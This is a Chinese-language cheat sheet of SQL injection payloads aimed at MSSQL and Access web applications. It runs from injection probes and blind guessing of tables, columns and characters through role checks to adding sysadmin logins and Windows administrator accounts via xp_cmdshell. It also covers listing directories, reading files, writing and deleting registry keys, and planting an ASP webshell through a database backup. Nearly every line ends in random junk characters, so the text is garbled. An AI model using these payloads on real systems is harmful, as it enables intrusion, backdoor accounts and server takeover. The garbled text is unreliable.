1.判断是否有注入;and 1=1 ;and 1=2 ")STB8kQ
2.初步判断是否是mssql ;and user>0 ZDW=>}~_y
p|ink):
3.注入参数是字符'and [查询条件] and ''=' Pa{
f(Of+>
4.搜索时没过滤参数的'and [查询条件] and '%25'=' '1gfXC
N8dxgh!,
5.判断数据库系统 ?l^Xauk4Pj
"
L`)^
;and (select count(*) from sysobjects)>0 mssql JN|6+.GG
aY>v
;and (select count(*) from msysobjects)>0 access XAU%B-l:
lFyDH{!
\H@1VgmR;
wc4BSJa,19
6.猜数据库 ;and (select Count(*) from [数据库名])>0 nm,LKS7
#Or;"}P>fB
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o6k#neB>=.
$zjdCg<
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5?^L))
x1.S+:
9.(1)猜字段的ascii值(access) /q]rA
f|~ {j(.v
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T"_'sSI>tF
4?'vP '
(2)猜字段的ascii值(mssql) {}$7B p
EyE#x_A
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Z_\p8@3aH
WQ.0} n}d
10.测试权限结构(mssql) 9_?xAJ
WK>|IgK
^Fco'nlM
0- )K_JV
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- E=p+z"Ui
Y"GNJtsL "
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- n|~y
>w4
:-46"bP.
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 67II9\/
+O.-o/
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ s/E}X
>5t%_/yeB
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 64zOEjra
5*pzL0,Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- tg/UtE`V
TJO$r6&
;and 1=(select IS_MEMBER('db_owner'));-- %M@K(Qu
U%nkPIFm
<h7cQ
27e!KG[&
11.添加mssql和系统的帐户 YB5"i9T2
g"evnp
;exec master.dbo.sp_addlogin username;-- -)`_w^Ox
;exec master.dbo.sp_password null,username,password;-- 5QMra5N k
%L+q:naZe
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- L=4+rshl!_
!mmMAsd,
;exec master.dbo.xp_cmdshell 'net user username password }'$PYAf6
_fHml
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- lT^su'+bk
8s0+6{vW
;exec master.dbo.xp_cmdshell 'net user username password /add';-- MEiP&=gX!
Xo34~V@(
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |`5IP8Z
]dpL
PR
;Y?MbD
>.iF,[.[F<
12.(1)遍历目录 f~`=I NrU
Q5+1'mzAB
;create table dirs(paths varchar(100), id int) 'dLw8&T+W
!*N9PUM
;insert dirs exec master.dbo.xp_dirtree 'c:\' <1D|TrP
]%' AZ`8
;and (select top 1 paths from dirs)>0 Qd[_W^QI
BNu >/zGpB
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0ns\:2)cEB
a#YK1n[!
zfeT>S+
!@ ^6/=
(2)遍历目录 J7`mEL>?
+xFn~b/
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [0 F~e
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $.SBW=^V
\#{PV\x:Nn
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 *;Jb=
/T w{JO#Q
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6_Fr \H
P8tdT3*6/
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 :
uncOd.
2B
]q1>a!
oJ74Mra
z0[XI 7KK
13.mssql中的存储过程 O
*sU|jeO
h.jJAVPi
xp_regenumvalues 注册表根键, 子键 4l$OO;B
|kYlh5/c d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ] G&*HMtp
%71i&T F
xp_regread 根键,子键,键值名 )kpEcMlR
N~v6K}`}
;exec xp_regread wVBKVb9N
i(}PrA
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 b3ohTmy4(
YV
O$`W^N
xp_regwrite 根键,子键, 值名, 值类型, 值 m ptFd
/Z:j:l
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 No^gKh24
`2mddx8
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Joow{75K
2Y
vr|] \8
xp_regdeletevalue 根键,子键,值名 ge~@}iO@
*]$B 9zVs!
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 DXs an
:<QknU}dwy
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 d*@T30
e97G]XLR
<xI<^r'C9e
X?5{2ulrI
14.mssql的backup创建webshell Hn|W3U
)4yP(6|lx
use model 8dGsV5" *
X0/slOT
create table cmd(str image); NJUKH1lIhR
GWA"!~Hu
insert into cmd(str) values (''); IDohv[#
*WwM"NFHDd
backup database model to disk='c:\l.asp'; 3Z!%td5n
!GcBNQ1p+7
_olQ;{ U:
y>I2}P
15.mssql内置函数 l5[5Y6c>
2Ez<Iw
;and (select @@version)>0 获得Windows的版本号 E9:@H;Gc
#[+# bw_6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ]I?.1X5d0
uO%0rKW
;and (select user_name())>0 爆当前系统的连接用户 2|nm> 4
@N=vmtLP
;and (select db_name())>0 得到当前连接的数据库 Vao:9~
"-~7lY%
|5&+VI
GEc6;uz<
16.简洁的webshell 0U '"@A
\
lSxb:$g
use model Br1R++]
T[oC='I+O
create table cmd(str image); u#0snw~)/
]}2)U
insert into cmd(str) values (''); w0Qtr>"
BEdCA]T
backup database model to disk='g:\wwwtest\l.asp';